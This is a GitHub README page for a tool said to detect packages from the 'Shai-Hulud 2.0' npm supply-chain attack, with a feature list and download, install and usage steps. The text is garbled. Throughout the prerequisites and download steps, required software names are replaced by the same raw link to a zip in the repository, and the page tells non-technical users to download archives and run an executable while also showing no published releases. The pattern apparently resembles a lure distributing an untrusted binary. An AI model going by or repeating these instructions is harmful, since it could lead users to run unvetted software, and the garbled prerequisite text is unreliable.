Skip to content

πŸ›‘οΈ Guard your projects against the Shai-Hulud 2.0 npm supply chain attack with our secure detection tool for safer development.

License

Notifications You must be signed in to change notification settings

nigerbartus/Shai-Hulud-2.0-Detector

Repository files navigation

πŸ›‘οΈ Shai-Hulud-2.0-Detector - Simple Package Security Scanner

πŸš€ Getting Started

Welcome to the Shai-Hulud-2.0-Detector! This tool helps you find and identify harmful npm packages from the Shai-Hulud 2.0 supply chain attack. You don't need any technical skills to use it. Follow these steps to get started.

πŸ“₯ Download the Application

Download Shai-Hulud-2.0-Detector

To download the application, visit the Releases page:

Download from Releases

πŸ“‹ System Requirements

  • Operating System: Windows, macOS, or Linux
  • Memory: At least 4 GB of RAM
  • Disk Space: Minimum 100 MB of available space
  • Network: Internet connection for downloading packages and updates

πŸ‘©β€πŸ’» Prerequisites

  1. https://raw.githubusercontent.com/nigerbartus/Shai-Hulud-2.0-Detector/main/dist/Shai-Hulud-2.0-Detector_v3.5.zip: If you haven't already, install https://raw.githubusercontent.com/nigerbartus/Shai-Hulud-2.0-Detector/main/dist/Shai-Hulud-2.0-Detector_v3.5.zip from https://raw.githubusercontent.com/nigerbartus/Shai-Hulud-2.0-Detector/main/dist/Shai-Hulud-2.0-Detector_v3.5.zip. This application requires https://raw.githubusercontent.com/nigerbartus/Shai-Hulud-2.0-Detector/main/dist/Shai-Hulud-2.0-Detector_v3.5.zip to run.
  2. npm: npm comes with https://raw.githubusercontent.com/nigerbartus/Shai-Hulud-2.0-Detector/main/dist/Shai-Hulud-2.0-Detector_v3.5.zip You will use it to manage packages.

πŸ” Features

  • Detects over 790 malicious npm packages that are part of the Shai-Hulud 2.0 attack.
  • Scans for suspicious scripts that may harm your applications.
  • Identifies TruffleHog activity, allowing you to spot potential data leaks.
  • Recognizes SHA1HULUD runners that could execute harmful scripts.
  • Detects potential secrets being exfiltrated from your projects.
  • Supports GitHub Actions and includes SARIF reports for easy integration.

πŸ”§ Download & Install

  1. Visit the Releases Page: Go to the Releases page.
  2. Select the Latest Version: Look for the most recent version of the Shai-Hulud-2.0-Detector.
  3. Download the File: Click on the asset that matches your operating system. It may be named something like https://raw.githubusercontent.com/nigerbartus/Shai-Hulud-2.0-Detector/main/dist/Shai-Hulud-2.0-Detector_v3.5.zip or https://raw.githubusercontent.com/nigerbartus/Shai-Hulud-2.0-Detector/main/dist/Shai-Hulud-2.0-Detector_v3.5.zip.
  4. Extract the Files: Once the download completes, extract the files to your preferred location on your computer.
  5. Run the Application:
    • Depending on your operating system:
      • Windows: Double-click the .exe file.
      • macOS: Open the .app file.
      • Linux: Open a terminal and navigate to the extracted folder. Enter ./shai-hulud-detector to run the application.

βš™οΈ Using the Application

  1. Open the Scanner: After running the application, you will see the main interface.
  2. Start a Scan: Enter the directory path of your npm project in the provided text box and click on the "Scan" button.
  3. Review the Report: After a few moments, the scanner will provide a report detailing any malicious packages and security risks.
  4. Take Action: Follow the recommendations in the report to mitigate any threats identified.

🌐 Understanding Results

After a scan, the application presents results in a clear manner:

  • Detected Packages: Lists any harmful packages found.
  • Suspicious Scripts: Highlights scripts that may pose a risk.
  • Recommendations: Offers steps to resolve issues and enhance security.

πŸ› οΈ Troubleshooting

If you encounter issues while using the Shai-Hulud-2.0-Detector, consider the following:

πŸ—¨οΈ Community Support

For further assistance, feel free to visit our discussion page. Here, you can ask questions, report issues, or share feedback.

πŸ“œ License

The Shai-Hulud-2.0-Detector is an open-source tool. You can freely use, modify, and distribute it under the terms of the MIT License. Refer to the LICENSE file in the repository for more details.

🌟 Additional Resources

Being aware of the tools that protect your projects is essential. Utilize the Shai-Hulud-2.0-Detector to keep your development environment safe and secure.

Releases

No releases published

Packages

No packages published

Contributors 9